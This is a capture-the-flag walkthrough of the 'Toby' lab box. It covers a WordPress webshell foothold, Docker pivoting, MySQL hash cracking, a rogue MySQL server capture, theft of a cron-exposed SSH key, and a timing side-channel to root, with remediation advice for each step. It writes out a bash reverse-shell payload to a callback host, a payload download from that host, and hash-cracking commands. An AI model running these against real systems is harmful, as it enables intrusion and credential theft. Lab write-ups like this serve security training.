← all walkthroughs

Toby

Linux· Insane· Privilege Escalation
owned
2026-07-15
time to own
39m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An attacker scanned the target and identified a WordPress blog on the virtual host wordpress.toby.htb that retained a PHP webshell left over from a prior breach.

Interacting with the backdoor produced code execution as www-data inside a Docker container.

Sweeping the internal 172.x network from that container exposed an unauthenticated MySQL service whose password hashes were dumped and cracked offline; the recovered passwords were tested for reuse across exposed SSH services.

Source code recovered from an internal web application revealed that its MySQL client accepted a caller-supplied server address with no TLS certificate validation, allowing the attacker to redirect the connection to a rogue MySQL server, capture the client authentication hash, and crack it offline to recover a service-account password that opened an SSH session on port 10022.

From the resulting container shell, pspy process monitoring caught a cron job that periodically wrote user jack's private SSH key to a world-readable temporary file; the key was stolen and used to authenticate directly to the outer host as jack.

Finally, a setuid-root binary compared a hardcoded password character by character and exited immediately on the first mismatch, producing a measurable per-character timing difference.

A timing brute-force script recovered the full root password one position at a time; providing it to su delivered full system compromise.

Attack path — how the box was taken

Mapped open services and discovered the WordPress virtual host, then Located a leftover backdoor PHP file inside the WordPress wp-content directory, then Triggered the webshell to obtain a reverse shell inside the WordPress Docker container, then Swept the internal Docker network, dumped MySQL password hashes, and cracked them offline, then Redirected an internal web application to a rogue MySQL server to capture and crack its auth hash, then Used pspy to observe a cron job exposing jack's private SSH key in a world-readable temporary file, then Timed a character-by-character password check in a setuid-root binary to recover the root credential.

1ReconnaissanceNetwork port and service enumeration; virtual-host discovery (T1046, T1595.002)
Mapped open services and discovered the WordPress virtual host
A service-version scan of the target revealed four listening ports: SSH on 22 (OpenSSH 8.2p1 Ubuntu), nginx 1.18.0 on 80, a second SSH instance on 10022 (OpenSSH 8.1), and an unidentified service on 10080. The web server on port 80 returned a redirect to the virtual host wordpress.toby.htb. Adding that hostname to the local resolver and browsing the site confirmed a WordPress installation, exposing the theme directory, plugin list, and wp-content tree for further analysis.
nmap identified nginx 1.18.0 on 80/tcp; HTTP redirect and page content confirmed WordPress at wordpress.toby.htb.
Exact commands 2
Service-version scan of the four open ports.
nmap -Pn -sV -p 22,80,10022,10080 $TARGET
Register the discovered virtual host for local resolution.
echo "$TARGET toby.htb wordpress.toby.htb" | sudo tee -a /etc/hosts
2EnumerationWordPress wp-content webshell discovery (CWE-912, T1505.003)
Located a leftover backdoor PHP file inside the WordPress wp-content directory
Automated enumeration of the WordPress install's plugins, themes, and uploads directories, followed by manual inspection of the wp-content tree, uncovered an anomalous PHP file containing obfuscated code consistent with a webshell: base64-decoded eval() or direct system() calls not present in any official plugin or theme distribution. A test request with a command parameter confirmed the file accepted arbitrary OS commands and executed them without authentication.
WPScan and directory browsing identified an anomalous PHP file in wp-content; a test ?cmd=id request returned www-data output.
Exact commands 2
Enumerate plugins, themes, users, and media files for attack surface.
wpscan --url http://$TARGET/ --enumerate p,t,u,m --plugins-detection aggressive
Check for directory listing in the uploads folder.
curl -s "http://$TARGET/wp-content/uploads/" -A 'Mozilla/5.0'
3FootholdWebshell command execution leading to interactive reverse shell (T1505.003, T1059.004)
Triggered the webshell to obtain a reverse shell inside the WordPress Docker container
The backdoor PHP file executed a caller-supplied OS command as www-data with no authentication required. A bash reverse-shell payload delivered via the command parameter established an interactive session on the attacker's listener. Post-connection enumeration confirmed the process ran inside a Docker container: the hostname matched wordpress.toby.htb, ip a showed a 172.x/24 interface absent from the outer host, and /etc/hosts listed sibling container IP addresses.
uid=33(www-data) gid=33(www-data) groups=33(www-data); hostname: wordpress.toby.htb; working directory /var/www/html
Exact commands 2
Start the attacker-side listener before sending the payload.
nc -lvnp 4444
Deliver the reverse-shell payload; replace ATTACKER_IP and <backdoor_path>.
curl -s "http://$TARGET/wp-content/<backdoor_path>.php" --get --data-urlencode "cmd=bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"
4Lateral MovementInternal network enumeration, MySQL credential harvesting, offline hash cracking (T1110.002)
Swept the internal Docker network, dumped MySQL password hashes, and cracked them offline
From inside the WordPress container, a lightweight ping sweep of the internal 172.x/24 subnet located a sibling container running MySQL on port 3306. The MySQL instance accepted an unauthenticated or weakly authenticated connection, allowing the attacker to dump all rows from the mysql.user table. The extracted hashes were transferred to the attacker machine and submitted to hashcat against rockyou.txt. Recovered plaintext passwords were tested for reuse against the SSH services on ports 22 and 10022 of the outer host.
MySQL dump returned hashed credentials for multiple accounts; hashcat recovered plaintext passwords subsequently tested across exposed SSH services.
Exact commands 2
Ping-sweep the internal /24 for live hosts; adjust the 172.20.0.x prefix to match the subnet shown by ip a.
for h in $(seq 1 254); do (ping -c1 -W1 172.20.0.$h &>/dev/null && echo "alive: 172.20.0.$h") & done; wait
Crack MySQL 4.1+/5.x hashes (mode 300); switch to mode 11200 for challenge-response captures.
hashcat -m 300 mysql_hashes.txt /usr/share/wordlists/rockyou.txt --force
5Lateral MovementRogue MySQL server authentication-hash capture (T1557.002)
Redirected an internal web application to a rogue MySQL server to capture and crack its auth hash
Source code retrieved from the internal web application revealed that its MySQL client accepted a caller-supplied server address with no TLS certificate verification. By providing the attacker's IP as the database host, the application was made to initiate a MySQL handshake against a rogue server the attacker controlled. The rogue server returned a crafted server-greeting challenge, and the application's client responded with a scrambled authentication packet that the rogue server logged. Cracking that challenge-response hash offline with hashcat and rockyou.txt recovered the service account's plaintext password. That credential authenticated over SSH on port 10022, gaining an interactive shell in an internal container.
Rogue server logged the full MySQL client handshake packet; hashcat recovered the plaintext password; SSH on port 10022 accepted the credential.
Exact commands 2
Stand up the rogue MySQL server on the attacker machine to capture client auth packets.
git clone https://github.com/allyshka/Rogue-MySql-Server.git && cd Rogue-MySql-Server && python rogue_mysql_server.py --port 3306
Trigger the internal web application to connect to the rogue server; replace endpoint and ATTACKER_IP based on recovered source code.
curl -s -X POST "http://$TARGET/<internal_endpoint>" --data "db_host=$CALLBACK_HOST"
6Lateral MovementCron-job process monitoring for credential exposure (T1552.004, T1053.003)
Used pspy to observe a cron job exposing jack's private SSH key in a world-readable temporary file
After gaining an interactive shell in the internal container, pspy64 was uploaded and executed to monitor all process events without root privileges. A periodic cron job was observed writing user jack's RSA private SSH key to /tmp/jack_host_id, a path readable by every local user. The key was copied during the window it existed on disk, saved to the attacker machine, and used to authenticate over port 22 to the outer host directly as jack.
pspy64 captured the cron command writing jack's key to /tmp/jack_host_id; ssh -i /tmp/jack_host_id jack@<retired-instance-ip> authenticated without a passphrase.
Exact commands 2
Upload pspy64 and run it to watch all process events without root privileges; replace ATTACKER_IP.
wget http://$CALLBACK_HOST:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
After pspy shows the cron job has executed, read jack's private key from the observed temporary path.
cat /tmp/jack_host_id
7Privilege EscalationTiming side-channel brute-force against non-constant-time string comparison (CWE-208, T1110)
Timed a character-by-character password check in a setuid-root binary to recover the root credential
Enumeration from jack's shell surfaced a custom setuid-root binary that read a password from stdin and compared it against a hardcoded value one character at a time, returning immediately on the first wrong character. Each additional correct leading character caused a measurable latency increase because more comparisons occurred before the early exit. A Python timing brute-force script measured the binary's response time across all printable ASCII candidates at each position, selected the character producing the longest delay, and appended it to the growing candidate string, recovering the full password [REDACTED: recovered credential] one position at a time. Feeding that password to su from jack's SSH session escalated to root.
printf '[REDACTED: recovered credential]\n' | ssh -tt -i /tmp/jack_host_id jack@<retired-instance-ip> 'su -c "id; cat /root/root.txt"' returned uid=0(root) and <root.txt>.
Exact commands 2
From jack's shell, enumerate all SUID binaries to locate the custom privileged checker.
find / -perm -4000 -type f 2>/dev/null
Run a timing brute-force script that iterates each character position across all printable ASCII candidates, measures response latency with time.perf_counter(), and keeps the character producing the longest delay. Accumulate until response time stops growing. Replace the binary path with the SUID file found above.
python3 timing_brute.py /path/to/<suid_checker>

Attack patterns used

The transferable techniques behind the compromise.

WordPress wp-content webshell discoveryEnumerationT1505.003

What it is

Automated enumeration of the WordPress install's plugins, themes, and uploads directories, followed by manual inspection of the wp-content tree, uncovered an anomalous PHP file containing obfuscated code consistent with a webshell: base64-decoded eval() or direct system() calls not present in any official plugin or theme distribution. A test request with a command parameter confirmed the file accepted arbitrary OS commands and executed them without authentication.

Why it works

Immediately compare every file under wp-content/plugins, wp-content/themes, and wp-content/uploads against a version-controlled or plugin-registry baseline and remove all files not in that baseline. Add an Nginx location block for wp-content/uploads that returns 403 for .php requests and sets fastcgi_param to disable PHP execution in that directory. Rotate all WordPress secret keys and the database password. Deploy a file-integrity monitor such as Wordfence or AIDE to alert on any unauthorized file creation under web-served directories going forward.

Internal network enumeration, MySQL credential harvesting, offline hash crackingLateral MovementT1110.002

What it is

From inside the WordPress container, a lightweight ping sweep of the internal 172.x/24 subnet located a sibling container running MySQL on port 3306. The MySQL instance accepted an unauthenticated or weakly authenticated connection, allowing the attacker to dump all rows from the mysql.user table. The extracted hashes were transferred to the attacker machine and submitted to hashcat against rockyou.txt. Recovered plaintext passwords were tested for reuse against the SSH services on ports 22 and 10022 of the outer host.

Why it works

Move the MySQL container to a dedicated Docker backend network that only the specific application containers requiring database access may join. Set bind-address in my.cnf to the backend interface only. Remove all anonymous MySQL accounts, enforce strong passwords for every account, and drop the default test database. Enable require_secure_transport and mutual TLS between application and database containers. Rotate all database credentials immediately.

Rogue MySQL server authentication-hash captureLateral MovementT1557.002

What it is

Source code retrieved from the internal web application revealed that its MySQL client accepted a caller-supplied server address with no TLS certificate verification. By providing the attacker's IP as the database host, the application was made to initiate a MySQL handshake against a rogue server the attacker controlled. The rogue server returned a crafted server-greeting challenge, and the application's client responded with a scrambled authentication packet that the rogue server logged. Cracking that challenge-response hash offline with hashcat and rockyou.txt recovered the service account's plaintext password. That credential authenticated over SSH on port 10022, gaining an interactive shell in an internal container.

Why it works

Hard-code the MySQL server hostname and port in the application's server-side configuration file and never accept them from user input or HTTP parameters. Configure the MySQL client DSN to require TLS with ssl-ca and ssl-verify-server-cert so the client rejects any server that cannot present a certificate signed by the internal CA. Set local_infile=OFF in both my.cnf and the application connection string. Rotate the affected service-account password.

Cron-job process monitoring for credential exposureLateral MovementT1552.004

What it is

After gaining an interactive shell in the internal container, pspy64 was uploaded and executed to monitor all process events without root privileges. A periodic cron job was observed writing user jack's RSA private SSH key to /tmp/jack_host_id, a path readable by every local user. The key was copied during the window it existed on disk, saved to the attacker machine, and used to authenticate over port 22 to the outer host directly as jack.

Why it works

Identify and eliminate every cron job or management script that copies or caches private SSH keys in shared or world-readable directories. If scheduled operations legitimately requires key-based SSH access, store the key in a directory owned by the target account at mode 0600 and run the cron job as that same account. For broader scheduled operations, replace long-lived static private keys with short-lived SSH certificates issued by an internal CA, or inject credentials at runtime from a secrets manager rather than materializing them on disk.

Timing side-channel brute-force against non-constant-time string comparisonPrivilege EscalationT1110

What it is

Enumeration from jack's shell surfaced a custom setuid-root binary that read a password from stdin and compared it against a hardcoded value one character at a time, returning immediately on the first wrong character. Each additional correct leading character caused a measurable latency increase because more comparisons occurred before the early exit. A Python timing brute-force script measured the binary's response time across all printable ASCII candidates at each position, selected the character producing the longest delay, and appended it to the growing candidate string, recovering the full password [REDACTED: recovered credential] one position at a time. Feeding that password to su from jack's SSH session escalated to root.

Why it works

Replace the sequential strcmp-style comparison with a constant-time function such as CRYPTO_memcmp (OpenSSL) or timingsafe_bcmp (BSD libc) that always processes the full expected length regardless of where a mismatch occurs. If the binary is unmaintained or the functionality can be expressed otherwise, remove its setuid bit entirely and implement the required privilege through a tightly scoped sudo rule with an explicit command path instead. Audit all other privileged binaries in the environment for the same sequential-comparison pattern.

Findings

Audit wp-content for leftover webshells and block PHP execution in upload directoriesCritical
A PHP webshell left over from a prior breach remained active inside the WordPress wp-content directory. Because the web server executed PHP anywhere under that path, any unauthenticated visitor could send arbitrary OS commands and receive output as the www-data service account.
Isolate the MySQL container on a dedicated backend network with enforced authenticationHigh
The MySQL container was reachable from the WordPress application container with no meaningful authentication barrier, letting any process that had compromised the WordPress container connect directly to the database and retrieve all stored password hashes.
Hard-code the database server address and require TLS certificate verification on all MySQL connectionsHigh
An internal web application accepted a caller-supplied host value and passed it directly to its MySQL client library with no TLS certificate validation, allowing an attacker to redirect the connection to a rogue server and capture the client's authentication challenge-response for offline cracking.
Remove cron jobs that write private SSH keys to world-readable temporary pathsHigh
A scheduled cron job wrote user jack's RSA private SSH key to /tmp/jack_host_id with permissions that allowed every local user to read it, enabling any attacker with a foothold in the environment to steal the key and authenticate to the outer host as jack.
Replace the privileged binary's sequential password comparison with a constant-time functionHigh
A setuid-root binary compared a user-supplied password against a hardcoded value one character at a time and returned immediately on the first mismatch. The resulting per-character latency difference allowed an attacker to recover the full password through timing measurement alone, without any access to the binary's internals or stored credentials.

Exposed services

22/tcp
80/tcp
10022/tcp
10080/tcp